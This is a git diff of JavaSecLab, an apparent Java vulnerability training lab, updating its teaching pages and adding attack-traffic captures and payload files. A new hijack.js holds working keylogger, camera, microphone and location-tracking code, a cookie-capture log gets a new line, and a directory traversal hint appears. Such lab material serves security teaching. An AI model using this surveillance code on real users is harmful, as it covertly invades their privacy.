a/src/main/resources/static/lib/ueditor/third-party/webuploader/webuploader.withoutimage.min.js b/src/main/resources/static/lib/ueditor/third-party/webuploader/webuploader.withoutimage.min.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/zeroclipboard/ZeroClipboard.js b/src/main/resources/static/lib/ueditor/third-party/zeroclipboard/ZeroClipboard.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/zeroclipboard/ZeroClipboard.min.js b/src/main/resources/static/lib/ueditor/third-party/zeroclipboard/ZeroClipboard.min.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/zeroclipboard/ZeroClipboard.swf b/src/main/resources/static/lib/ueditor/third-party/zeroclipboard/ZeroClipboard.swf old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/ueditor.all.js b/src/main/resources/static/lib/ueditor/ueditor.all.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/ueditor.all.min.js b/src/main/resources/static/lib/ueditor/ueditor.all.min.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/ueditor.config.js b/src/main/resources/static/lib/ueditor/ueditor.config.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/ueditor.parse.js b/src/main/resources/static/lib/ueditor/ueditor.parse.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/ueditor.parse.min.js b/src/main/resources/static/lib/ueditor/ueditor.parse.min.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/other/cookie.txt b/src/main/resources/static/other/cookie.txt old mode 100644 new mode 100755 index 9d2dd43..6e0ac70 --- a/src/main/resources/static/other/cookie.txt +++ b/src/main/resources/static/other/cookie.txt @@ -8,3 +8,4 @@ Data: 2024-08-28 23:04:05 Source IP: 127.0.0.1 User Cookie: Data: 2024-08-28 23:04:40 Source IP: 127.0.0.1 User Cookie: Data: 2024-09-08 23:03:44 Source IP: 127.0.0.1 User Cookie: _pk_id.1.cead=9fc72ab94e123339.1725547757. Data: 2024-09-12 14:43:33 Source IP: 127.0.0.1 User Cookie: +Data: 2025-02-23 22:00:50 Source IP: 127.0.0.1 User Cookie: diff --git a/src/main/resources/static/other/csp_reports.txt b/src/main/resources/static/other/csp_reports.txt old mode 100644 new mode 100755 diff --git a/src/main/resources/static/other/datapackage/file/delete.pcapng b/src/main/resources/static/other/datapackage/file/delete.pcapng new file mode 100755 index 0000000..3c8456d Binary files /dev/null and b/src/main/resources/static/other/datapackage/file/delete.pcapng differ diff --git a/src/main/resources/static/other/datapackage/file/download.pcapng b/src/main/resources/static/other/datapackage/file/download.pcapng new file mode 100755 index 0000000..1e3ca6c Binary files /dev/null and b/src/main/resources/static/other/datapackage/file/download.pcapng differ diff --git a/src/main/resources/static/upload/test.jsp b/src/main/resources/static/other/datapackage/file/payload/test.jsp old mode 100644 new mode 100755 similarity index 100% rename from src/main/resources/static/upload/test.jsp rename to src/main/resources/static/other/datapackage/file/payload/test.jsp diff --git a/src/main/resources/static/other/datapackage/file/read.pcapng b/src/main/resources/static/other/datapackage/file/read.pcapng new file mode 100755 index 0000000..9432150 Binary files /dev/null and b/src/main/resources/static/other/datapackage/file/read.pcapng differ diff --git a/src/main/resources/static/other/datapackage/file/upload.pcapng b/src/main/resources/static/other/datapackage/file/upload.pcapng new file mode 100755 index 0000000..69892f4 Binary files /dev/null and b/src/main/resources/static/other/datapackage/file/upload.pcapng differ diff --git a/src/main/resources/static/other/datapackage/rce/code_injection.pcapng b/src/main/resources/static/other/datapackage/rce/code_injection.pcapng new file mode 100755 index 0000000..c3ac4fc Binary files /dev/null and b/src/main/resources/static/other/datapackage/rce/code_injection.pcapng differ diff --git a/src/main/resources/static/other/datapackage/rce/command_injection.pcapng b/src/main/resources/static/other/datapackage/rce/command_injection.pcapng new file mode 100755 index 0000000..56fe76f Binary files /dev/null and b/src/main/resources/static/other/datapackage/rce/command_injection.pcapng differ diff --git a/src/main/resources/static/other/datapackage/spel/spel.pcapng b/src/main/resources/static/other/datapackage/spel/spel.pcapng new file mode 100755 index 0000000..faebd5e Binary files /dev/null and b/src/main/resources/static/other/datapackage/spel/spel.pcapng differ diff --git a/src/main/resources/static/other/datapackage/springboot/actuator.pcapng b/src/main/resources/static/other/datapackage/springboot/actuator.pcapng new file mode 100755 index 0000000..5cbffd9 Binary files /dev/null and b/src/main/resources/static/other/datapackage/springboot/actuator.pcapng differ diff --git a/src/main/resources/static/other/datapackage/springboot/druid.pcapng b/src/main/resources/static/other/datapackage/springboot/druid.pcapng new file mode 100755 index 0000000..7165043 Binary files /dev/null and b/src/main/resources/static/other/datapackage/springboot/druid.pcapng differ diff --git a/src/main/resources/static/other/datapackage/springboot/mysql_jdbc.pcapng b/src/main/resources/static/other/datapackage/springboot/mysql_jdbc.pcapng new file mode 100755 index 0000000..cef091b Binary files /dev/null and b/src/main/resources/static/other/datapackage/springboot/mysql_jdbc.pcapng differ diff --git a/src/main/resources/static/other/datapackage/springboot/swagger_ui.pcapng b/src/main/resources/static/other/datapackage/springboot/swagger_ui.pcapng new file mode 100755 index 0000000..99886ae Binary files /dev/null and b/src/main/resources/static/other/datapackage/springboot/swagger_ui.pcapng differ diff --git a/src/main/resources/static/other/datapackage/sqli/sqli_boolean.pcapng b/src/main/resources/static/other/datapackage/sqli/sqli_boolean.pcapng new file mode 100755 index 0000000..8db8ac7 Binary files /dev/null and b/src/main/resources/static/other/datapackage/sqli/sqli_boolean.pcapng differ diff --git a/src/main/resources/static/other/datapackage/sqli/sqli_error.pcapng b/src/main/resources/static/other/datapackage/sqli/sqli_error.pcapng new file mode 100755 index 0000000..8de6efb Binary files /dev/null and b/src/main/resources/static/other/datapackage/sqli/sqli_error.pcapng differ diff --git a/src/main/resources/static/other/datapackage/sqli/sqli_time.pcapng b/src/main/resources/static/other/datapackage/sqli/sqli_time.pcapng new file mode 100755 index 0000000..1d76977 Binary files /dev/null and b/src/main/resources/static/other/datapackage/sqli/sqli_time.pcapng differ diff --git a/src/main/resources/static/other/datapackage/sqli/sqli_xpath.pcapng b/src/main/resources/static/other/datapackage/sqli/sqli_xpath.pcapng new file mode 100755 index 0000000..83ba500 Binary files /dev/null and b/src/main/resources/static/other/datapackage/sqli/sqli_xpath.pcapng differ diff --git a/src/main/resources/static/other/datapackage/ssrf/ssrf.pcapng b/src/main/resources/static/other/datapackage/ssrf/ssrf.pcapng new file mode 100755 index 0000000..74a02d0 Binary files /dev/null and b/src/main/resources/static/other/datapackage/ssrf/ssrf.pcapng differ diff --git a/src/main/resources/static/other/datapackage/ssti/ssti_return.pcapng b/src/main/resources/static/other/datapackage/ssti/ssti_return.pcapng new file mode 100755 index 0000000..2007c2d Binary files /dev/null and b/src/main/resources/static/other/datapackage/ssti/ssti_return.pcapng differ diff --git a/src/main/resources/static/other/datapackage/ssti/ssti_url.pcapng b/src/main/resources/static/other/datapackage/ssti/ssti_url.pcapng new file mode 100755 index 0000000..abb7429 Binary files /dev/null and b/src/main/resources/static/other/datapackage/ssti/ssti_url.pcapng differ diff --git a/src/main/resources/static/other/demo/xss.html b/src/main/resources/static/other/datapackage/xss/payload/xss.html old mode 100644 new mode 100755 similarity index 100% rename from src/main/resources/static/other/demo/xss.html rename to src/main/resources/static/other/datapackage/xss/payload/xss.html diff --git a/src/main/resources/static/other/demo/xss.pdf b/src/main/resources/static/other/datapackage/xss/payload/xss.pdf old mode 100644 new mode 100755 similarity index 100% rename from src/main/resources/static/other/demo/xss.pdf rename to src/main/resources/static/other/datapackage/xss/payload/xss.pdf diff --git a/src/main/resources/static/other/demo/xss.svg b/src/main/resources/static/other/datapackage/xss/payload/xss.svg old mode 100644 new mode 100755 similarity index 100% rename from src/main/resources/static/other/demo/xss.svg rename to src/main/resources/static/other/datapackage/xss/payload/xss.svg diff --git a/src/main/resources/static/other/demo/xss.xml b/src/main/resources/static/other/datapackage/xss/payload/xss.xml old mode 100644 new mode 100755 similarity index 100% rename from src/main/resources/static/other/demo/xss.xml rename to src/main/resources/static/other/datapackage/xss/payload/xss.xml diff --git a/src/main/resources/static/other/datapackage/xss/xss_store.pcapng b/src/main/resources/static/other/datapackage/xss/xss_store.pcapng new file mode 100755 index 0000000..6421ffe Binary files /dev/null and b/src/main/resources/static/other/datapackage/xss/xss_store.pcapng differ diff --git a/src/main/resources/static/other/datapackage/xss/xss_swagger.pcapng b/src/main/resources/static/other/datapackage/xss/xss_swagger.pcapng new file mode 100755 index 0000000..ed4a529 Binary files /dev/null and b/src/main/resources/static/other/datapackage/xss/xss_swagger.pcapng differ diff --git a/src/main/resources/static/other/datapackage/xss/xss_th_html.pcapng b/src/main/resources/static/other/datapackage/xss/xss_th_html.pcapng new file mode 100755 index 0000000..d6ac987 Binary files /dev/null and b/src/main/resources/static/other/datapackage/xss/xss_th_html.pcapng differ diff --git a/src/main/resources/static/other/datapackage/xss/xss_th_text.pcapng b/src/main/resources/static/other/datapackage/xss/xss_th_text.pcapng new file mode 100755 index 0000000..016e842 Binary files /dev/null and b/src/main/resources/static/other/datapackage/xss/xss_th_text.pcapng differ diff --git a/src/main/resources/static/other/datapackage/xss/xss_upload_html.pcapng b/src/main/resources/static/other/datapackage/xss/xss_upload_html.pcapng new file mode 100755 index 0000000..f43d888 Binary files /dev/null and b/src/main/resources/static/other/datapackage/xss/xss_upload_html.pcapng differ diff --git a/src/main/resources/static/other/datapackage/xss/xss_upload_pdf.pcapng b/src/main/resources/static/other/datapackage/xss/xss_upload_pdf.pcapng new file mode 100755 index 0000000..735335f Binary files /dev/null and b/src/main/resources/static/other/datapackage/xss/xss_upload_pdf.pcapng differ diff --git a/src/main/resources/static/other/datapackage/xss/xss_upload_svg.pcapng b/src/main/resources/static/other/datapackage/xss/xss_upload_svg.pcapng new file mode 100755 index 0000000..1254889 Binary files /dev/null and b/src/main/resources/static/other/datapackage/xss/xss_upload_svg.pcapng differ diff --git a/src/main/resources/static/other/datapackage/xss/xss_upload_xml.pcapng b/src/main/resources/static/other/datapackage/xss/xss_upload_xml.pcapng new file mode 100755 index 0000000..73f6a83 Binary files /dev/null and b/src/main/resources/static/other/datapackage/xss/xss_upload_xml.pcapng differ diff --git a/src/main/resources/static/other/infoleak/1.txt b/src/main/resources/static/other/infoleak/1.txt old mode 100644 new mode 100755 diff --git a/src/main/resources/static/other/infoleak/JavaSecLab_logs.txt b/src/main/resources/static/other/infoleak/JavaSecLab_logs.txt old mode 100644 new mode 100755 diff --git a/src/main/resources/static/other/infoleak/chunk-0226s3f2.57e3ed6f.js b/src/main/resources/static/other/infoleak/chunk-0226s3f2.57e3ed6f.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/other/infoleak/www.zip b/src/main/resources/static/other/infoleak/www.zip old mode 100644 new mode 100755 diff --git a/src/main/resources/static/upload/test.txt b/src/main/resources/static/upload/test.txt old mode 100644 new mode 100755 diff --git a/src/main/resources/static/upload/xss/1.txt b/src/main/resources/static/upload/xss/1.txt old mode 100644 new mode 100755 diff --git a/src/main/resources/templates/common/common.html b/src/main/resources/templates/common/common.html index a3b0585..0207713 100644 --- a/src/main/resources/templates/common/common.html +++ b/src/main/resources/templates/common/common.html @@ -99,8 +99,8 @@ - +
            - \ No newline at end of file + diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html index f54e353..2dd486d 100644 --- a/src/main/resources/templates/index.html +++ b/src/main/resources/templates/index.html @@ -2,7 +2,7 @@ - JavaSecLab v1.3 - 一款Java安全综合漏洞平台 + JavaSecLab v1.5 - 一款Java安全综合漏洞平台 @@ -64,7 +64,7 @@
          • - admin + admin
            技术栈: SpringBoot+SpringSecurity+MyBatis+Thymeleaf+Layui
            -
            JavaSecLab是一款综合型Java漏洞平台,提供相关缺陷代码、修复代码、审计SINK点、安全编码规范,覆盖多种漏洞场景,友好用户交互UI……
            +
            JavaSecLab是一款综合型Java漏洞平台,提供相关缺陷代码、修复代码、审计SINK点、安全编码规范、漏洞流量分析,覆盖多种漏洞场景,友好用户交互UI……

                 diff --git a/src/main/resources/templates/system/home.html b/src/main/resources/templates/system/home.html index ec94b10..d9ccbc3 100644 --- a/src/main/resources/templates/system/home.html +++ b/src/main/resources/templates/system/home.html @@ -5,6 +5,7 @@ .layui-card { border: 1px solid #f2f2f2; border-radius: 5px; + box-shadow: 0 1px 6px rgba(15, 23, 42, .04); } .icon { @@ -14,6 +15,17 @@ .custom-a { background-color: #f8f8f8; + border: 1px solid transparent; + border-radius: 4px; + transition: all .2s; + } + + .custom-a:hover, + .custom-a-two:hover, + .custom-a-five:hover { + border-color: #1e9fff; + box-shadow: 0 2px 8px rgba(30, 159, 255, .12); + transform: translateY(-1px); } .icon-blue { @@ -45,10 +57,12 @@ top: 2px; display: block; color: #666; - text-overflow: ellipsis; overflow: hidden; - white-space: nowrap; - font-size: 14px; + white-space: normal; + font-size: 13px; + line-height: 18px; + height: 36px; + word-break: keep-all; } .layuimini-qiuck-module-five { @@ -96,10 +110,12 @@ top: 2px; display: block; color: #666; - text-overflow: ellipsis; overflow: hidden; - white-space: nowrap; - font-size: 10px; + white-space: normal; + font-size: 12px; + line-height: 18px; + height: 36px; + word-break: keep-all; } .layuimini-qiuck-module-two a cite { @@ -107,30 +123,40 @@ top: 2px; display: block; color: #666; - text-overflow: ellipsis; overflow: hidden; - white-space: nowrap; - font-size: 14px; + white-space: normal; + font-size: 13px; + line-height: 18px; + height: 36px; + word-break: keep-all; } .custom-a-five { background-color: #f8f8f8; + border: 1px solid transparent; + border-radius: 4px; + transition: all .2s; /*width: 80%;*/ } .custom-a-two { background-color: #f8f8f8; + border: 1px solid transparent; + border-radius: 4px; + transition: all .2s; /*width: 80%;*/ } .welcome-module-five { width: 100%; - height: 70px; + min-height: 70px; + height: auto; } .welcome-module-two { width: 100%; - height: 70px; + min-height: 70px; + height: auto; } .welcome-module-five .layui-row { @@ -154,7 +180,7 @@ } .layuimini-qiuck-module-two { - flex: 1 1 18%; /* 使子元素均分宽度,每个占18% */ + flex: 1 1 45%; /* RCE双入口均分宽度 */ box-sizing: border-box; /* 包含padding和border在内的宽度 */ text-align: center; margin-top: 10px; @@ -163,19 +189,143 @@ .welcome-module { width: 100%; - height: 70px; + min-height: 70px; + height: auto; } .main_btn > p { height: 40px; } + + .home-toolbar { + display: flex; + align-items: center; + justify-content: space-between; + gap: 16px; + margin-bottom: 15px; + padding: 14px 16px; + background: #fff; + border: 1px solid #f2f2f2; + border-radius: 6px; + box-shadow: 0 1px 6px rgba(15, 23, 42, .04); + } + + .home-title { + min-width: 240px; + } + + .home-title h2 { + margin: 0 0 6px; + font-size: 20px; + font-weight: 600; + color: #303133; + } + + .home-title p { + margin: 0; + color: #777; + font-size: 13px; + } + + .home-search { + width: 360px; + max-width: 45%; + } + + .home-stats { + display: flex; + gap: 10px; + } + + .home-stat { + min-width: 82px; + padding: 8px 12px; + background: #f8fbff; + border: 1px solid #e8f3ff; + border-radius: 6px; + text-align: center; + } + + .home-stat strong { + display: block; + color: #1e9fff; + font-size: 18px; + line-height: 22px; + } + + .home-stat span { + color: #777; + font-size: 12px; + } + + .module-hidden { + display: none !important; + } + + .module-empty { + display: none; + margin-bottom: 15px; + padding: 16px; + color: #777; + text-align: center; + background: #fff; + border: 1px dashed #d9d9d9; + border-radius: 6px; + } + + .module-cards { + display: grid; + grid-template-columns: repeat(2, minmax(0, 1fr)); + gap: 15px; + } + + .module-cards > .layui-col-md6 { + width: auto; + padding: 0 !important; + float: none; + } + + @media screen and (max-width: 992px) { + .home-toolbar { + flex-direction: column; + align-items: stretch; + } + + .home-search { + width: 100%; + max-width: 100%; + } + + .home-stats { + justify-content: space-between; + } + + .module-cards { + grid-template-columns: 1fr; + } + }

            +
            +
            +

            JavaSecLab 漏洞靶场

            +

            按漏洞类型快速进入场景,支持模块名、关键词和英文缩写检索。

            +
            + +
            +
            10漏洞分类
            +
            37+功能场景
            +
            V1.5当前版本
            +
            +
            +
            没有找到匹配模块,试试 SQL、RCE、SSTI、登录、组件 等关键词。
            -
            +
            @@ -332,81 +482,44 @@
            -
            -
            -
            - - RCE -
            +
            +
            + + RCE +
            -
            -
            -
            - -
            - +
            + - -
            -
            -
            -
            -
            - - 逻辑漏洞 -
            -
            -
            + 请求交互安全
            @@ -451,6 +564,59 @@
            +
            + +
            + +
            +
            + + 逻辑漏洞 +
            + +
            @@ -735,7 +901,7 @@
            关于项目
              -
            • 安全服务方面:帮助安全服务人员理解漏洞原理(产生、修复、审计)
            • +
            • 安全服务方面:帮助安全服务人员理解漏洞原理(产生、修复、审计),以及对应漏洞流量分析
            • 甲方安全方面:可作为开发安全培训演示,友好的交互方式,帮助研发同学更容易理解漏洞
            • 安全研究方面:各种漏洞的不同触发场景,可用于xAST等安全工具测试
            @@ -746,7 +912,7 @@
          • -

            V1.3

            +

            V1.5

            支持漏洞模块:

          • diff --git a/src/main/resources/templates/vul/file/download.html b/src/main/resources/templates/vul/file/download.html index d8b3b5b..a710200 100644 --- a/src/main/resources/templates/vul/file/download.html +++ b/src/main/resources/templates/vul/file/download.html @@ -11,7 +11,7 @@

            -

              任意文件下载:攻击者通过漏洞或恶意代码,未经授权地从目标系统或网络中获取文件,可能导致信息泄露或系统被入侵
            +
              任意文件下载:应用根据用户可控参数拼接下载路径,未限制可下载目录和文件名,攻击者可通过绝对路径或 ../ 目录穿越下载敏感文件。它本质上是文件读取漏洞的一种业务表现,常出现在附件下载、导出和日志下载接口中。

            @@ -20,13 +20,20 @@
            -

            漏洞场景:原生漏洞场景

            +

            + 漏洞场景:路径未限制 + + 流量分析 + +

            +
            -

            文件路径没做限制,可使用../遍历任意文件

            +

            文件路径没做限制,可使用绝对路径或 ../ 遍历下载文件

            diff --git a/src/main/resources/templates/vul/file/read.html b/src/main/resources/templates/vul/file/read.html index 929f451..917dc7f 100644 --- a/src/main/resources/templates/vul/file/read.html +++ b/src/main/resources/templates/vul/file/read.html @@ -11,7 +11,7 @@

            -

              任意文件读取:攻击者通过漏洞在应用程序中未经授权地读取系统上的任意文件,可能导致敏感信息泄露
            +
              任意文件读取:应用将用户可控的文件名或路径直接用于文件读取,未做目录边界限制和路径标准化,攻击者可通过绝对路径或 ../ 目录穿越读取敏感文件,造成配置、密钥、源码或系统信息泄露。

            @@ -20,13 +20,19 @@
            -

            漏洞场景:原生漏洞场景

            +

            + 漏洞场景:原生漏洞场景 + + 流量分析 + +

            -

            文件路径没做限制,可使用../遍历任意文件

            +

            文件路径没做限制,可使用绝对路径或 ../ 遍历读取文件

            @@ -85,7 +94,7 @@

            安全场景:文件读取白名单
            -

            缺陷代码

            +

            安全代码

            diff --git a/src/main/resources/templates/vul/file/upload.html b/src/main/resources/templates/vul/file/upload.html index 71f06b3..f12ccc1 100644 --- a/src/main/resources/templates/vul/file/upload.html +++ b/src/main/resources/templates/vul/file/upload.html @@ -10,7 +10,7 @@ 任意文件操作 - 文件上传
            -
              任意文件上传:由于对上传文件未作过滤或过滤机制不严(文件后缀或类型),导致恶意用户可以上传脚本文件(jsp、php、asp),通过上传文件可以达到控制网站权限的目的
            +
              任意文件上传:应用接收用户上传文件时,未对文件类型、内容、存储位置和访问方式做有效限制,攻击者可能上传脚本、HTML/SVG、压缩包或伪装文件。风险不只包括服务端脚本执行,也可能造成存储型 XSS、钓鱼文件分发、恶意文件托管或覆盖业务文件。
            @@ -18,7 +18,18 @@
            -

            漏洞场景:原生漏洞场景

            + +

            + 漏洞场景:原生漏洞场景 + + Payload + + + 流量分析 + +

            @@ -39,8 +50,9 @@

            漏洞场景:原生漏洞场景
            tips
            -
            PS:这里其实有个问题,上传jsp脚本文件后,访问并不解析,而是直接下载
            -SpringBoot默认不支持jsp文件解析,本想着做jsp和Thymeleaf的同时解析,发现实现起来有点困难(至少现在认为是这样),当然后续会进行补充调整
            +
            说明:
            +  当前 Spring Boot 环境不会直接解析上传后的 JSP,访问时更接近“恶意文件托管/下载”场景。
            +  真实审计中仍要关注上传目录是否被 Web 容器、网关、对象存储或其他解析链路执行。

            @@ -58,7 +70,9 @@

            漏洞场景:原生漏洞场景
            -

            缺陷代码

            +

            + 缺陷代码 +

            @@ -90,13 +104,11 @@

            安全场景:文件上传白名单
            tips
            -
            -安全编码规范:
            -    1、后端采用白名单对上传文件类型进行限制
            -    2、目录权限限制,禁止上传目录具有脚本解析环境
            -    3、对上传文件回显相对路径或者不显示路径
            -    4、采用云存储桶来存储用户上传的文件
            -                                            
            +
            安全编码建议:
            +  1、后端使用精确白名单校验扩展名,并结合 MIME、文件头、图片解码和业务场景做多重校验。
            +  2、上传文件使用服务端生成的新文件名,避免保留用户可控路径或文件名。
            +  3、上传目录禁止脚本解析,必要时放到独立域名、对象存储或非 Web 根目录。
            +  4、对外回显相对标识或下载接口,不直接暴露服务器真实路径。

            diff --git a/src/main/resources/templates/vul/funny/hijack.html b/src/main/resources/templates/vul/funny/hijack.html new file mode 100644 index 0000000..0cbec48 --- /dev/null +++ b/src/main/resources/templates/vul/funny/hijack.html @@ -0,0 +1,177 @@ + + +
            + + +
            +
            +
            +
            +
            + + 娱乐模块 - 监听与劫持 + +
            +

            +

              Apache Shiro是一个强大的开源安全框架,主要用于Java应用程序的认证、授权、加密和会话管理。在1.2.4及以前版本存在多个反序列化漏洞(例如:Shiro-550 Shiro-721)。
            +
              Shiro 550漏洞利用过程:攻击者通过已知的Shiro默认加密密钥解密、修改并重新加密恶意序列化对象到remember-me Cookie中,服务器在处理该Cookie时反序列化恶意对象,导致远程代码执行(RCE)。
            +

            +
            +
            +
            + +
            +
            +
            +

            摄像头劫持

            +
            +
            +
            +
            +
            +
            +

            获取Shiro硬编码密钥做演示

            +
            +
            + + +
            +
            +
            +
            + +
            +
            +
            tips
            +
            +
              服务器接收cookie处理的流程:得到RememberMe的cookie值->Base64解码->AES解密->反序列化
            +
            +
            +
            + +
            +
            +
            测试结果 +
            +
            +
            
            +                                        
            +
            +
            + +
            +
            +
            + +
            +

            缺陷代码

            +
            +
            +
            +
            +
            +
            + + + + + + + + + +
            +
            +
            +
            + +
            + + + + diff --git a/src/main/resources/templates/vul/funny/js/hijack.js b/src/main/resources/templates/vul/funny/js/hijack.js new file mode 100644 index 0000000..0089e64 --- /dev/null +++ b/src/main/resources/templates/vul/funny/js/hijack.js @@ -0,0 +1,77 @@ +// 摄像头控制模块 +let mediaStream; + +function startCamera(videoElement) { + navigator.mediaDevices.getUserMedia({ video: true }) + .then(stream => { + mediaStream = stream; + videoElement.srcObject = stream; + console.log('摄像头已启动'); + }) + .catch(err => { + console.error('摄像头访问失败', err); + alert('无法访问摄像头,请确保您已授权浏览器访问摄像头!'); + }); +} + +function stopCamera(videoElement) { + if (mediaStream) { + const tracks = mediaStream.getTracks(); + tracks.forEach(track => track.stop()); + videoElement.srcObject = null; + console.log('摄像头已停止'); + } else { + console.warn('没有活动的视频流'); + } +} + +// 麦克风监听模块 +function startMicrophone() { + navigator.mediaDevices.getUserMedia({ audio: true }) + .then(stream => { + const audioContext = new (window.AudioContext || window.webkitAudioContext)(); + const analyser = audioContext.createAnalyser(); + const source = audioContext.createMediaStreamSource(stream); + source.connect(analyser); + console.log('麦克风已启动'); + }) + .catch(err => { + console.error('麦克风访问失败', err); + alert('无法访问麦克风,请确保您已授权浏览器访问麦克风!'); + }); +} + +// 键盘记录模块 +let keyboardData = ''; + +function startKeylogger() { + document.addEventListener('keydown', (event) => { + keyboardData += event.key; + console.log('键盘输入:', event.key); + // 你可以上传或存储 `keyboardData` 数据 + }); +} + +function getKeyboardData() { + return keyboardData; +} + +// 定位追踪模块 +function startLocationTracking() { + if (navigator.geolocation) { + navigator.geolocation.watchPosition(function(position) { + const latitude = position.coords.latitude; + const longitude = position.coords.longitude; + console.log(`当前位置: 纬度: ${latitude}, 经度: ${longitude}`); + // 可以进一步上传或保存定位信息 + }, function(error) { + console.error('定位失败', error); + alert('无法获取位置信息,请确保位置服务已启用!'); + }); + } else { + alert('此浏览器不支持定位'); + } +} + +// 导出功能以便在 HTML 中调用 +export { startCamera, stopCamera, startMicrophone, startKeylogger, getKeyboardData, startLocationTracking }; diff --git a/src/main/resources/templates/vul/infoleak/backup.html b/src/main/resources/templates/vul/infoleak/backup.html index 58935e8..6101f89 100644 --- a/src/main/resources/templates/vul/infoleak/backup.html +++ b/src/main/resources/templates/vul/infoleak/backup.html @@ -12,7 +12,7 @@

            -

              备份文件:Web源码泄漏、日志泄漏
            +
              备份文件泄漏通常来自源码包、数据库备份、日志、临时压缩包或编辑器备份文件被放入 Web 可访问目录。攻击者可通过常见文件名、目录索引或搜索引擎发现这些文件,进一步获取源码、配置、凭证、Session、SQL日志和内部路径。

            @@ -40,7 +40,7 @@

            漏洞场景:Web源码泄漏

            tips
            -
              由于开发/运营人员疏忽,将源码的压缩包(如.zip、.tar.gz、.bak)放置在Web目录下,未做访问限制
            +
            源码备份常包含 pom.xml、application.yml、SQL脚本、密钥配置和业务代码。生产环境应禁止把备份文件放入静态目录,并通过部署前扫描拦截 .zip、.tar.gz、.bak、.old、.sql 等高风险文件。
            @@ -81,7 +81,7 @@

            漏洞场景:日志泄漏

            tips
            -
              在开发过程中,为了调试便捷,开发者常会输出一些敏感信息到日志中,例如登录信息(Session、Cookie、用户名、密码)以及SQL执行记录。这些日志内容通常会被定期打包备份,如果备份日志未妥善管理或被泄漏,攻击者可能获取其中的敏感信息,利用这些信息实施攻击。尤其是在登录时启用“记住我”功能的情况下,Cookie/Session通常会具有较长的有效期(如两周),进一步增加了被利用的风险,最终可能导致凭证劫持
            +
            日志中不应输出明文密码、Token、Cookie、验证码、完整SQL参数或身份证件等敏感数据。生产日志应脱敏、分级授权、设置保留周期,并禁止通过静态目录直接访问。
            diff --git a/src/main/resources/templates/vul/infoleak/ceshi.html b/src/main/resources/templates/vul/infoleak/ceshi.html index 258ba4c..58d8426 100644 --- a/src/main/resources/templates/vul/infoleak/ceshi.html +++ b/src/main/resources/templates/vul/infoleak/ceshi.html @@ -12,7 +12,7 @@

            -

              测试页面泄漏:开发者有意或无意遗留下的测试页面泄漏,可能导致敏感信息暴露、安全漏洞被利用、权限提升、系统稳定性受影响以及成为网络攻击跳板,从而严重威胁系统的安全性和稳定性
            +
              测试页面泄漏:开发、联调或运维排障页面被部署到生产环境后,可能暴露内部工具、调试参数、环境信息或高危操作入口。此类页面常缺少鉴权、审计和输入限制,容易演变为命令执行、SSRF、文件读取等更高风险漏洞。

            @@ -39,7 +39,7 @@

            漏洞场景:网络连通性测试
            tips
            -
               在路由器、交换机等设备中,通常会提供Ping测试页面用于网络连通性测试、故障排查以及网络性能监控。然而,如果在开发Ping测试功能时未进行安全处理,可能会引发命令注入漏洞
            +
            Ping 页面用于演示测试入口遗留风险。漏洞场景会把参数拼接进 shell 命令;安全场景使用参数白名单和 ProcessBuilder 参数数组,避免 shell 元字符生效。

            diff --git a/src/main/resources/templates/vul/infoleak/dirTraversal.html b/src/main/resources/templates/vul/infoleak/dirTraversal.html index d147e69..fbeae6c 100644 --- a/src/main/resources/templates/vul/infoleak/dirTraversal.html +++ b/src/main/resources/templates/vul/infoleak/dirTraversal.html @@ -8,11 +8,11 @@
            - 敏感信息泄漏 - 模拟目录遍历场景 + 敏感信息泄漏 - 目录遍历

            -

              目录遍历漏洞的原因是Web应用在处理用户输入的文件路径时缺乏适当的验证和规范化,导致攻击者可以通过输入特殊字符(如../)访问到应用程序根目录之外的文件。其危害包括泄露敏感信息(如配置文件、密码文件)、读取未授权文件、执行任意代码等,严重威胁系统安全和数据隐私
            +
              目录遍历泄漏发生在目录列表、文件浏览、静态资源代理等功能中。应用把用户可控路径拼接到服务端目录后,如果没有标准化路径并校验目录边界,攻击者可通过 ../ 或编码变体浏览非预期目录,进而发现配置、备份、日志或源码文件。

            @@ -21,7 +21,7 @@
            -

            漏洞场景:模拟目录遍历场景

            +

            漏洞场景:原生漏洞场景

            @@ -46,7 +46,7 @@

            漏洞场景:模拟目录遍历场景
            tips
            -
            /listdir?dir=/,可以尝试插入../从而遍历任意目录
            +
            可尝试 /infoLeak/dirTraversal/vul?dir=../ 观察是否能跳出预期静态目录。

            @@ -121,7 +121,7 @@

            安全场景:限制遍历目录
            -

            检查请求的目录是否在规定的跟目录内,可以有效防止目录遍历攻击

            +

            检查请求的目录是否在规定的根目录内,可以有效防止目录遍历攻击

            diff --git a/src/main/resources/templates/vul/infoleak/jsLeak.html b/src/main/resources/templates/vul/infoleak/jsLeak.html index 65cbcf7..9148886 100644 --- a/src/main/resources/templates/vul/infoleak/jsLeak.html +++ b/src/main/resources/templates/vul/infoleak/jsLeak.html @@ -12,7 +12,7 @@

            -

              由于开发人员的疏忽,将配置信息和API密钥硬编码到JavaScript文件中,导致敏感信息泄漏,可能引发数据被恶意获取、未经授权的访问、服务滥用等严重安全问题,危害系统和用户数据的安全性
            +
              JavaScript文件属于客户端可见资源,任何写入前端源码、打包产物、SourceMap或注释中的账号、密钥、内网地址、接口路径和调试信息都应视为已公开。修复时应把密钥和鉴权逻辑放回服务端,前端只持有短期、最小权限、可吊销的公开配置。

            @@ -39,7 +39,7 @@

            漏洞场景:登录通过前端校验(硬
            tips
            -
              项目短期内交付,开发者图方便可能会将登录的账号密码直接硬编码在前端
            +
            前端校验只能提升交互体验,不能承担认证职责。账号密码、角色判断、接口权限必须在服务端完成。

            @@ -79,8 +79,7 @@

            漏洞场景:Webpack打包导致云密钥
            tips
            -
              开发在使用webpack工具打包前端项目时 使用dev开发环境,带出配置信息(前后端分离流行后经常存在的疏忽点)
            -  真实漏洞场景下,可以在前端看到webapck目录,以及对应源代码……
            +
